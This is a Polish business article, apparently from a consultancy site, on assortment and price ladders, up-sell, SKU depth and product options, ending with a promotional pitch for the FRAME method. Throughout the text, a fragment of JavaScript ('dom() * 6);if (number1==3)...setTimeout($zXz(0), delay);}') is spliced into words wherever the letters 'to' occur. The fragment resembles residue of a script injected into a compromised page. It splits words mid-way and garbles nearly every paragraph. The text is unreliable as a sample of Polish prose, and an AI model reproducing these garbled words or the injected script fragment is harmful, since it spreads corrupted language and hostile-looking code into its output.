In Artykuły, Handel, Uniwersalne

Nie tylko nie musi, ale wręcz nie powinna. Chyba że chodzi tylko o up-sell, ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to uproszczona funkcja drabinki. I wcale nie najważniejsza.

Asortyment powinien być jakoś uporządkowany

Oczywiście, jeśli firma do tego dojrzała i już ma na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zorganizowany pomysł. Wcześniej lepiej pójść na żywioł i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ten żywioł pozwoli tes dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować rozmaite rozwiązania. Ale po pewnym czasie z chaosu wyłoni się wyraźny obraz. Wtedy przyjdzie czas, żeby oferta zaczęła mieć swoją strukturę.

Uwaga. „Grupa Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa”. Inaczej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zbiór produktów ujednoliconych pod względem najważniejszego (dla klienta) kryterium poszukiwania. Typu – „ubezpieczenia OC”, albo „wina czerwone wytrawne”. A skoro pojawia się ujednolicony zbiór, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czas i na jego wewnętrzne uporządkowanie.

Sposobem na wewnętrzne uporządkowanie Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej jest drabinka asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa. To nic innego niż drugie kryterium uporządkowania, już w ramach drabinki. I też najwyższy czas, aby firma zdecydowała, co może być tym drugim kryterium. W odróżnieniu jednak od Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej głównym rozgrywającym nie jest już klient końcowy, tylko sama firma. Ma ona bowiem tu do ugrania kilka własnych interesów, na poziomie sterowania sprzedażą.

Sterowanie sprzedażą

Inaczej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wpływanie na zachowanie klienta, aby robił dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, na czym zależy firmie, cały jednak czas mając wrażenie, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to on jest głównym rozgrywającym i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to on podejmuje decyzje. I faktycznie je podejmuje, ale firma mu w nich aktywnie i skutecznie pomaga.

Magiczna formuła sprzedaży. Czyli przedstawienie jej jako iloczynu trzech wskaźników. Sprzedaż w ten sposób przestaje być „dana”, a staje się skutkiem wprawdzie złożonego, ale logicznego ciągu zdarzeń, z których większość da się co najmniej częściowo kontrolować.

Najważniejsze jednak w magicznej formule nie jest jednak przedstawienie, tylko operacyjne zarządzanie. Przez zarządzanie wskaźnikami (choć na poziomie analitycznym, czyli zachowań pracowników) można też zarządzać sprzedażą. I w tym drabinka może bardzo pomów, w niektórych aspektach bez niej zarządzanie sprzedażą jest w ogóle niemożliwe.

Rola drabinki w sterowaniu sprzedażą sprowadza się do zwiększenia odwiedzalności (przez wrażenie kompletności i szerokości oferty (co właśnie jest is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totną rolą drabinki. Ale też zwiększeniu konwersji (przez wyeliminowanie luk w ofercie). Najważniejszy jest jednak up-sell (czyli przesunięcie popytu na produkty droższe, wyżej w drabince). Każda drabinka jakoś służy tym celom, ale nie każda wszystkim i nie każda każdemu, ani tym bardziej tak samo.

Jak wygląda drabinka?

Zwykle tak, gdyż synonimem drabinki asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej jest drabinka cenowa. Są w niej produkty wybrane i uszeregowane wg porządku cenowego.

Ale taki jej obraz mocno nie wystarcza. Żeby drabinka cenowa działała (czyli przesuwała popyt na produkty droższe), musi zostać spełnionych jeszcze kilka warunków.

Wypełnienie drabinki produktami. Żadna drabinka nie będzie istniała bez wypełnienia jej produktami. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to prawdziwymi, z jakimś poziomem dostępności. To zawsze podstawa, inaczej drabinka pozostanie tylko na papierze. I od tego trzeba zacząć, od znalezienia producentów i dostawców konkretnych dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarów.

Cus dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomer benefit. Czyli uzasadnienie różnicy w cenie. Ten benefit musi nie tylko być, ale też mieć znaczenie dla klienta. Bez niego drabinka wprawdzie będzie istniała (do tego wystarczy spełnienie pierwszego warunku), ale nie będzie działała.

Zakomunikowanie benefitu. Wytłumaczenie różnicy w cenie jest niezbędne. Ale bez jego zakomunikowania i tak nie zadziała. Wyjaśnienie musi być proste, zrozumiałe i przede wszystkim widoczne. Jeśli trzeba go szukać, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tak, jakby go nie było w ogóle.

Bliskość produktów. Jeśli różnica jest wyjaśniona i zakomunikowana, i tak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie wystarczy. Gdyż klienci są leniwi i jeśli nie widzą czegoś od razu, od razu też nie mogą czegoś wykonać, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na ogół już tego nie zrobią. Czyli nie wybiorą kolejnego produktu w drabince, jeśli trzeba go będzie szukać. To musi być łatwe i szybkie, inaczej pozostanie teorią.

Uwaga. „rozpię dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość szczebelków”. To także ważne, jak duża jest odległość między szczebelkami. Jeśli są zbyt od siebie odległe, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to drabinka wprawdzie będzie, ale nikogo na nic nie przesteruje. Gdyż istnieje coś takiego jak elastyczność cenowa i drabinka musi się do niej dopasować.

Czy drabinka musi być cenowa?

Właśnie nie musi. Może z punktu widzenia przesunięcia decyzji klienta na droższy produkt, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to różnica w cenie by się przydała. Ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przecież nie jedyny powód, dla którego tworzy się drabinkę.

Przykład drabinki nie cenowej w Grupie Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej „świnki morskie”. Wszystkie świnki kosztują tak samo, np. 100 zł, ale nadal obowiązuje w nich podział i struktura Grupy w postaci drabinki.

Jaka mogą być korzyści z takiej nie cenowej drabinki? Wielorakie. Przede wszystkim firma upewni się, że ma wszystkie potrzebne produkty (jeśli można użyć tego określenia dla świnek).

Ale drabinka nie cenowa nie jest zastrzeżona tylko dla świnek. Podobna logika może mieć miejsce dla wielu innych produktów. W przypadku samochodów może dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być podział na terenowe, spor dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe, rodzinne, dostawcze. One oczywiście mogą się różnić ceną, ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie cena ustala wewnętrzną logikę Grupy.

W przypadku ubezpieczeń na życie struktura Grupy mogłaby być następująca. Ubezpieczenie indywidualne, zbiorowe, dla osób młodych, rodzin, osób starszych itd. Znów dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie cena jest najważniejsza dla struktury Grupy. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to struktura zdecyduje, czy jest odpowiednio dużo produktów i czy wszystkie szczebelki są zapełnione.

Głębokość drabinki

Drabinki cenowe mają jeszcze co najmniej jeden wymiar, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to liczba SKU (S dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tock Keeping Unit – inaczej liczba referencji) na każdym szczebelku.

Dla sterowania sprzedażą ma znaczenie zarówno liczba SKU na każdym szczebelku drabinki, jak i łączna liczba SKU w drabince. Te dwie war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości mają znaczenie przede wszystkim dla „teatru” czyli tworzenia wrażenia na kliencie. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to one są przez nich porównywane (czasem nieświadomie) do konkurencji. Zaś wynik tego porównania decyduje o odwiedzalności Konceptu.

Uwaga. „sprzedaż i teatr”. Każdy Koncept ma pod względem oferty dwie warstwy. To warstwa sprzedażowa, Grupa Sprzedażowa A i B, które wspólnie decydują o ok. 80% obrotów, podczas gdy w ich skład wchodzi tylko 20% oferty. Oraz Grupy C (20% obrotu) i D (w ogóle się nie sprzedaje), ale które stanowią łącznie 80% oferty. Te dwie ostatnie Grupy tworzą scenografię sprzedaży, równie ważną dla powodzenia sztuki, jak gra głównych ak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torów.

Zaś wzajemne proporcje między liczbą SKU w poszczególnych kategoriach pozycjonują Koncept. Jeśli przeważają SKU w grupie Entry i Low dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pozostanie wrażenie taniości, jeśli High i Premium, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to Koncept wyda się drogi. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to niezależnie od tego, co klient tak naprawdę w końcu kupi (a przecież może kupować tylko te tanie).

Opcje

To rozwiązanie stworzenia drabinek tam, gdzie ich tak naprawdę nie ma. Lub gdzie producent chce zachować wyłączność, nie dopuszczając innych producentów, ale jednocześnie skorzystać z mechanizmu działania drabinki. Tu sam produkt podstawowy się nie zmienia, ale są do niego dodawane kolejne akcesoria (dodatki). W tej wersji drabinki brylują firmy samochodowe, ale można ten manewr zas dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować praktycznie dla każdego produktu.

Wersja „opcje” świetnie się sprawdzi np. w ubezpieczeniach, samochodach, kanapach czy innych złożonych produktach. Ale i do prostych i wydawałoby się elemen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towych produktów zawsze można coś dołożyć. Najłatwiej dołożyć usługę. Jeśli sprzedaje się garnitury, zawsze można je dopasować (nie mówiąc o dobraniu koszuli, krawata czy spinek). Jeśli sprzedaje się wina, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to można sprzedaż darmowe odwiezienie do domu po imprezie. A jeśli kredyty, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to można je ubezpieczyć.

Co wybrać?

Jaką drabinkę wybrać? To zależy od Modelu Biznesowego firmy, branży, ale przede wszystkim od potencjału na poziomie każdego z parametrów magicznej formuły.

Nie ma uniwersalnego rozwiązania dla Modelu Biznesowego i dla typu branży. To zawsze sprawa indywidualna. Ale istnieją pewne ogólne zasady dla obszaru największego potencjału.

Uwaga. „potencjał zawsze jest wszędzie”. Ale nie zawsze w takim samym s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topniu. To gdzie jest go najwięcej, zależy od słabości Modelu firmy, ale i od słabości Modeli jej konkurentów. Częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też jest efektem zmian systemowych na rynku. Zawsze jednak najwięcej potencjału tkwi w codziennej operacji i faktycznym wykonaniu Modelu Biznesowego w praktyce.

Jeśli największy potencjał tkwi w średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to drabinka powinna być przede wszystkim cenowa. Ale jeśli w liczbie kontaktów, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardziej liczy się jej rozległość (wybór) niż relacje cenowe między produktami. A jeśli niewykorzystane możliwości tkwią w konwersji, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przyda się drabinka jak najbardziej asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa, czyli uporządkowanie wg typów produktów, a nie ich cen. To pozwoli dostrzec luki w ofercie. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie te cenowe, ale po stronie typu SKU.

Podsumowanie

Drabinka asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to doskonały sposób na uporządkowanie oferty. Może ono służyć wielu celom, zwykle jednak związanym ze sterowaniem sprzedażą. Można jednak działać na różne wskaźniki magicznej formuły sprzedaży (liczba kontaktów, konwersja i średnia transakcja). A różne drabinki (różne ich kryteria działają różnie na różne wskaźniki). I dlatego drabinki mogą być różne, nie zawsze cenowe. A które kryterium wybrać, zależy od Modelu Biznesowego firmy i potencjału na poziomie różnych parametrów.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.